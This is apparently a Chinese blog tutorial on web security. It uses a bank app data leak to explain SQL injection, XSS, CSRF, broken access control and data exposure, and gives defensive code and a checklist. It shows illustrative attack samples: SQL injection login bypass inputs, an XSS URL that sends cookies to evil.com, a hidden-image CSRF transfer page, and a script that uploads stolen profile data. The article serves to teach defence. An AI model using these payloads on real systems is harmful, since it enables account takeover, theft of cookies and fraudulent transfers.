某银行APP因AJAX接口漏洞致百万用户信息泄露 一文读懂Web开发常见安全风险与防护方案
前几天看到一条新闻,某银行APP出了一个事儿,百万用户的信息泄露了。仔细看了技术细节,原因其实特别典型——就是一个AJAX接口没做好安全防护,被恶意利用,直接把用户数据全扒出来了。
说实话,这种事情在Web开发里太常见了,每年都有成千上万的网站因为类似的漏洞被攻击。今天我就用大白话,结合代码,把Web开发里常见的安全风险一个个拆开给你看,顺便告诉你怎么防护。
那个导致百万用户信息泄露的AJAX接口,到底出了什么问题
先说说这个银行APP的具体情况。
攻击者发现这个APP有一个查询用户信息的接口:
https://bank-api.example.com/api/user/profile
这个接口用AJAX调用,没有验证请求来源,也没有检查用户的权限。更糟糕的是,接口直接返回了用户的全部信息,包括身份证号、手机号、银行卡号,甚至连余额都一起返回了。
攻击者是怎么做到的呢?他写了一段简单的JavaScript代码:
// 模拟恶意请求
fetch('https://bank-api.example.com/api/user/profile', {
method: 'GET',
headers: {
'Content-Type': 'application/json'
}
}).then(response => response.json())
.then(data => {
console.log('获取到用户信息:', data);
// 恶意代码会把数据上传到自己的服务器
uploadToAttackerServer(data);
});
然后他在网上发了一个链接,让用户点击。只要有人点开,这个脚本就会在后台悄悄运行,把用户信息发到攻击者控制的服务器。
为什么这能成功?因为三个致命问题:
- 没有身份验证:任何用户(包括没登录的)都能调用这个接口
- 没有权限控制:用户A可以查询用户B的信息
- 没有数据脱敏:敏感信息直接明文返回
SQL注入:最经典也最危险的漏洞
SQL注入是Web安全的头号杀手,已经存在二十多年了,但每年都有大量网站中招。
它是如何工作的
想象一下,你有一个登录表单,后端代码是这样写的:
# 危险的代码示例
username = request.form['username']
password = request.form['password']
sql_query = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'"
当用户输入 admin 作为用户名,' OR '1'='1 作为密码时,SQL语句就变成了:
SELECT * FROM users WHERE username='admin' AND password='' OR '1'='1'
这个条件永远为真,攻击者就能绕过密码直接登录!
更可怕的场景
有些攻击者甚至会利用SQL注入获取数据库的所有数据:
用户名: admin' --
密码: (任意)
生成的SQL变成:
SELECT * FROM users WHERE username='admin' --' AND password=''
双横线 -- 注释掉了后面的密码验证,直接以admin身份登录。
如何防护
第一招:使用参数化查询(预编译语句)
# 安全的代码示例
username = request.form['username']
password = request.form['password']
# 使用参数化查询
sql_query = "SELECT * FROM users WHERE username=? AND password=?"
cursor.execute(sql_query, (username, password))
// Node.js示例
const mysql = require('mysql2/promise');
async function login(username, password) {
const connection = await mysql.createConnection({
host: 'localhost',
user: 'root',
password: 'your_password',
database: 'bank_db'
});
// 使用参数化查询
const [rows] = await connection.execute(
'SELECT * FROM users WHERE username=? AND password=?',
[username, password]
);
return rows;
}
第二招:使用ORM框架
# 使用 SQLAlchemy ORM
from sqlalchemy import create_engine
from sqlalchemy.orm import sessionmaker
engine = create_engine('postgresql://user:pass@localhost/bank_db')
Session = sessionmaker(bind=engine)
session = Session()
# ORM会自动处理参数化
user = session.query(User).filter_by(
username=username,
password=password
).first()
第三招:输入验证和过滤
import re
def validate_username(username):
# 只允许字母、数字、下划线,长度3-20
if not re.match(r'^[a-zA-Z0-9_]{3,20}$', username):
raise ValueError("Invalid username format")
return username
XSS跨站脚本攻击:藏在网页里的陷阱
XSS攻击是另一种非常常见的漏洞,攻击者可以在网页中注入恶意脚本,其他用户打开这个页面时就会中招。
反射型XSS
假设你有一个搜索功能:
<!-- 危险的代码 -->
<input type="text" name="search" value="<?php echo $_GET['search']; ?>">
当用户访问这样的链接时:
https://bank.example.com/search?search=<script>document.location='http://evil.com/steal?cookie='+document.cookie</script>
恶意脚本会在用户的浏览器中执行,把用户的Cookie发送到攻击者的服务器。
存储型XSS(更危险)
攻击者在一个可以持久化的地方注入恶意脚本,比如评论、个人资料、留言板。
# 后端代码
@app.route('/comment', methods=['POST'])
def add_comment():
content = request.form['content']
# 直接存储,没有过滤
db.execute("INSERT INTO comments (content) VALUES (?)", (content,))
return "Comment added"
当其他用户浏览评论时,恶意脚本就会执行。
如何防护
第一招:输出编码
from markupsafe import escape
# 对输出进行HTML编码
safe_content = escape(user_input)
// JavaScript示例
function escapeHtml(text) {
const div = document.createElement('div');
div.appendChild(document.createTextNode(text));
return div.innerHTML;
}
第二招:使用现代框架
React、Vue、Angular等框架默认会对输出进行编码:
// React自动编码
function Comment({ text }) {
return <p>{text}</p>; // 自动编码,不会执行脚本
}
<!-- Vue自动编码 -->
<div id="app">
<p>{{ userInput }}</p> <!-- 自动编码 -->
</div>
第三招:设置Cookie的HttpOnly标志
response.set_cookie('session_id', session_id, httponly=True)
这样即使XSS攻击成功,攻击者也无法读取Cookie。
CSRF跨站请求伪造:冒充用户的”替身攻击”
CSRF攻击是让受害者在已登录的状态下,执行非本意的操作。
攻击场景
假设银行有一个转账接口:
POST /transfer HTTP/1.1
Host: bank.example.com
Cookie: session_id=abc123
amount=10000&to_account=attacker_account
攻击者可以创建一个恶意网页:
<!-- 攻击者网页 -->
<html>
<body>
<img src="https://bank.example.com/transfer?amount=10000&to_account=attacker_account" style="display:none;">
</body>
</html>
当已登录的用户打开这个页面时,浏览器会自动发送转账请求,把钱转给攻击者。
如何防护
第一招:使用CSRF Token
# 生成CSRF Token
import secrets
def generate_csrf_token():
return secrets.token_hex(32)
# 在表单中嵌入Token
@app.route('/transfer', methods=['GET', 'POST'])
def transfer():
if request.method == 'GET':
token = generate_csrf_token()
session['csrf_token'] = token
return render_template('transfer.html', csrf_token=token)
# 验证Token
if request.method == 'POST':
token = request.form.get('csrf_token')
if token != session.get('csrf_token'):
abort(403)
# 处理转账
<!-- 表单中包含CSRF Token -->
<form method="POST" action="/transfer">
<input type="hidden" name="csrf_token" value="{{ csrf_token }}">
<input type="text" name="amount" placeholder="金额">
<input type="text" name="to_account" placeholder="收款账号">
<button type="submit">转账</button>
</form>
第二招:验证请求头
@app.route('/api/transfer', methods=['POST'])
def api_transfer():
# 检查Origin和Referer头
origin = request.headers.get('Origin')
referer = request.headers.get('Referer')
if origin and not origin.endswith('bank.example.com'):
abort(403)
if referer and not referer.startswith('https://bank.example.com'):
abort(403)
# 处理请求
越权访问:权限控制的缺失
越权访问是指用户能够访问或操作不属于他的资源。
水平越权
用户A可以访问用户B的数据:
https://bank.example.com/api/user/12345/profile
https://bank.example.com/api/user/67890/profile
攻击者只需要修改用户ID,就能访问其他用户的信息。
垂直越权
普通用户访问管理员接口:
https://bank.example.com/api/admin/users
https://bank.example.com/api/admin/settings
如何防护
第一招:在服务器端验证权限
from functools import wraps
from flask import abort
def login_required(f):
@wraps(f)
def decorated_function(*args, **kwargs):
if 'user_id' not in session:
abort(401)
return f(*args, **kwargs)
return decorated_function
def owner_or_admin(f):
@wraps(f)
def decorated_function(*args, **kwargs):
user_id = kwargs.get('user_id')
current_user_id = session.get('user_id')
current_user_role = session.get('role')
if current_user_role != 'admin' and current_user_id != user_id:
abort(403)
return f(*args, **kwargs)
return decorated_function
@app.route('/api/user/<int:user_id>/profile')
@login_required
@owner_or_admin
def get_user_profile(user_id):
user = User.query.get_or_404(user_id)
return jsonify({
'name': user.name,
'phone': user.phone
})
第二招:使用资源级权限控制
# 使用Casbin进行权限管理
from casbin import Enforcer
def check_permission(user_id, resource, action):
enforcer = Enforcer('model.conf', 'policy.csv')
allowed = enforcer.enforce(user_id, resource, action)
if not allowed:
abort(403)
return allowed
敏感信息泄露:把不该公开的东西公开了
银行APP泄露事件的核心问题之一就是敏感信息泄露。
常见的泄露场景
- API返回过多数据
- 错误信息暴露内部细节
- 日志记录敏感信息
- 客户端存储敏感数据
如何防护
第一招:API数据脱敏
from datetime import datetime
def sanitize_user_data(user):
"""脱敏用户数据"""
return {
'user_id': user.id,
'name': user.name,
# 身份证号脱敏
'id_card': user.id_card[:6] + '******' + user.id_card[-4:],
# 手机号脱敏
'phone': user.phone[:3] + '****' + user.phone[-4:],
# 银行卡号脱敏
'card_number': '****' + user.card_number[-4:],
# 不返回余额
# 只返回最后更新时间
'last_updated': user.updated_at.isoformat()
}
@app.route('/api/user/profile')
@login_required
def get_profile():
user = User.query.get(session['user_id'])
return jsonify(sanitize_user_data(user))
第二招:统一的错误处理
@app.errorhandler(404)
def not_found(error):
return jsonify({'error': 'Resource not found'}), 404
@app.errorhandler(500)
def internal_error(error):
# 记录详细错误到日志,但返回给用户的只是通用信息
app.logger.error(f'Server error: {error}')
return jsonify({'error': 'Internal server error'}), 500
第三招:安全的日志记录
import logging
logger = logging.getLogger(__name__)
def log_transfer(user_id, amount, to_account):
# 只记录必要的非敏感信息
logger.info(
f"User {user_id} transferred {amount} to account ***{to_account[-4:]}"
)
不安全的传输:数据在传输中被窃听
如果API接口使用HTTP而不是HTTPS,数据在传输过程中可能被窃听。
如何防护
第一招:强制使用HTTPS
# Flask示例
@app.before_request
def ensure_https():
if request.headers.get('X-Forwarded-Proto', 'http') != 'https':
url = request.url.replace('http://', 'https://', 1)
return redirect(url, code=301)
第二招:配置安全的HTTP头
@app.after_request
def set_security_headers(response):
# 防止点击劫持
response.headers['X-Frame-Options'] = 'DENY'
# 防止MIME类型嗅探
response.headers['X-Content-Type-Options'] = 'nosniff'
# 启用XSS过滤器
response.headers['X-XSS-Protection'] = '1; mode=block'
# 强制HTTPS
response.headers['Strict-Transport-Security'] = 'max-age=31536000; includeSubDomains'
# 控制信息泄露
response.headers['X-Permitted-Cross-Domain-Policies'] = 'none'
response.headers['Referrer-Policy'] = 'strict-origin-when-cross-origin'
return response
第三方依赖风险:供应链攻击
现代Web应用大量使用第三方库和API,这些依赖可能包含安全漏洞。
案例
假设你使用了某个开源的JSON解析库,而这个库存在反序列化漏洞。攻击者可以构造恶意输入,在解析时执行任意代码。
如何防护
第一招:定期更新依赖
# 使用npm audit检查漏洞
npm audit
# 使用pip检查漏洞
pip-audit
# 使用安全扫描工具
safety check
第二招:限制第三方API的权限
# 使用沙箱运行不可信代码
import sandbox
def execute_user_script(script):
sandbox.execute(script, timeout=5)
第三招:使用CDN和安全的第三方服务
<!-- 使用SRI(Subresource Integrity)验证第三方资源 -->
<script
src="https://cdn.example.com/library.js"
integrity="sha384-oqVuAfXRKap7fdgcCY5uykM6+R9GqQ8K/uxy9rx7HNQlGYl1kPzQho1wx4JwY8wC"
crossorigin="anonymous">
</script>
身份认证与Session管理:守好大门
弱密码问题
import hashlib
import secrets
def hash_password(password):
# 生成随机盐值
salt = secrets.token_hex(16)
# 使用bcrypt或scrypt等强哈希算法
hashed = hashlib.pbkdf2_hmac('sha256', password.encode(), salt.encode(), 100000)
return f"{salt}${hashed.hex()}"
def verify_password(password, stored_hash):
salt, hashed = stored_hash.split('$')
# 重新计算哈希并比较
new_hashed = hashlib.pbkdf2_hmac('sha256', password.encode(), salt.encode(), 100000)
return secrets.compare_digest(new_hashed.hex(), hashed)
Session安全
from flask import session
# 安全的Session配置
app.config.update(
SESSION_COOKIE_HTTPONLY=True, # 防止JS访问Cookie
SESSION_COOKIE_SECURE=True, # 只通过HTTPS传输
SESSION_COOKIE_SAMESITE='Lax', # 防止CSRF
PERMANENT_SESSION_LIFETIME=1800 # 30分钟过期
)
# Session数据不要存储敏感信息
session['user_id'] = user.id
# 不要存储
# session['password'] = password # 绝对禁止
安全开发的全流程防护
安全不是某一个环节的事,而是整个开发生命周期都要考虑的事情。
1. 需求分析阶段
- 识别敏感数据和操作
- 定义安全需求
- 进行威胁建模
2. 设计阶段
- 设计安全的API架构
- 定义权限模型
- 考虑错误处理和安全响应
3. 编码阶段
- 遵循安全编码规范
- 使用安全的第三方库
- 进行代码审查
4. 测试阶段
- 进行安全测试(渗透测试)
- 使用自动化扫描工具
- 测试边界条件和异常情况
# 使用OWASP ZAP进行自动化安全扫描
import zapv2
zap = zapv2.ZAPv2()
# 启动扫描
zap.spider.scan('https://bank.example.com')
# 检查扫描结果
print(zap.core.alerts())
5. 部署阶段
- 配置安全头
- 启用HTTPS
- 设置日志监控
6. 运维阶段
- 定期安全更新
- 监控异常行为
- 快速响应安全事件
# 实时监控异常访问
from flask import request
import logging
logger = logging.getLogger('security')
@app.before_request
def log_request_info():
# 记录所有请求
logger.info(
f"Request from {request.remote_addr} - "
f"{request.method} {request.path} - "
f"User-Agent: {request.headers.get('User-Agent', 'Unknown')}"
)
# 检测异常模式
if request.path.startswith('/api/') and 'user_id' not in session:
logger.warning(f"Unauthenticated API access attempt from {request.remote_addr}")
给开发者的安全 checklist
最后,给你整理一份实用的安全检查清单:
输入验证
- [ ] 所有用户输入都经过验证和过滤
- [ ] 使用白名单验证而非黑名单
- [ ] 对特殊字符进行转义
认证与授权
- [ ] 所有敏感操作都需要认证
- [ ] 权限检查在服务器端进行
- [ ] 使用强密码策略
数据安全
- [ ] 敏感数据加密存储
- [ ] API返回数据脱敏
- [ ] 不记录敏感信息到日志
传输安全
- [ ] 全站使用HTTPS
- [ ] 设置安全HTTP头
- [ ] 防止中间人攻击
Session管理
- [ ] Session ID随机生成
- [ ] 设置合理的过期时间
- [ ] 登出时销毁Session
错误处理
- [ ] 统一的错误处理机制
- [ ] 不暴露内部细节
- [ ] 记录安全相关的错误
第三方依赖
- [ ] 定期更新依赖
- [ ] 审计第三方代码
- [ ] 使用可信源
监控与响应
- [ ] 记录安全相关日志
- [ ] 设置告警机制
- [ ] 制定应急响应流程
写在最后
那个银行APP的事件,归根结底还是安全意识和安全规范没跟上。百万用户的信息,因为一个接口没做好防护就泄露了,这对用户是巨大的伤害,对银行也是沉重的打击。
做Web开发,安全永远不能是”事后补窟窿”的事。从写第一行代码开始,就要把安全考虑进去。多花一点时间做安全设计和防护,远比出事后再补救要划算得多。
希望这篇文章能帮到你。如果你觉得有用,记得分享给身边的开发者朋友们,大家一起把安全这件事做好。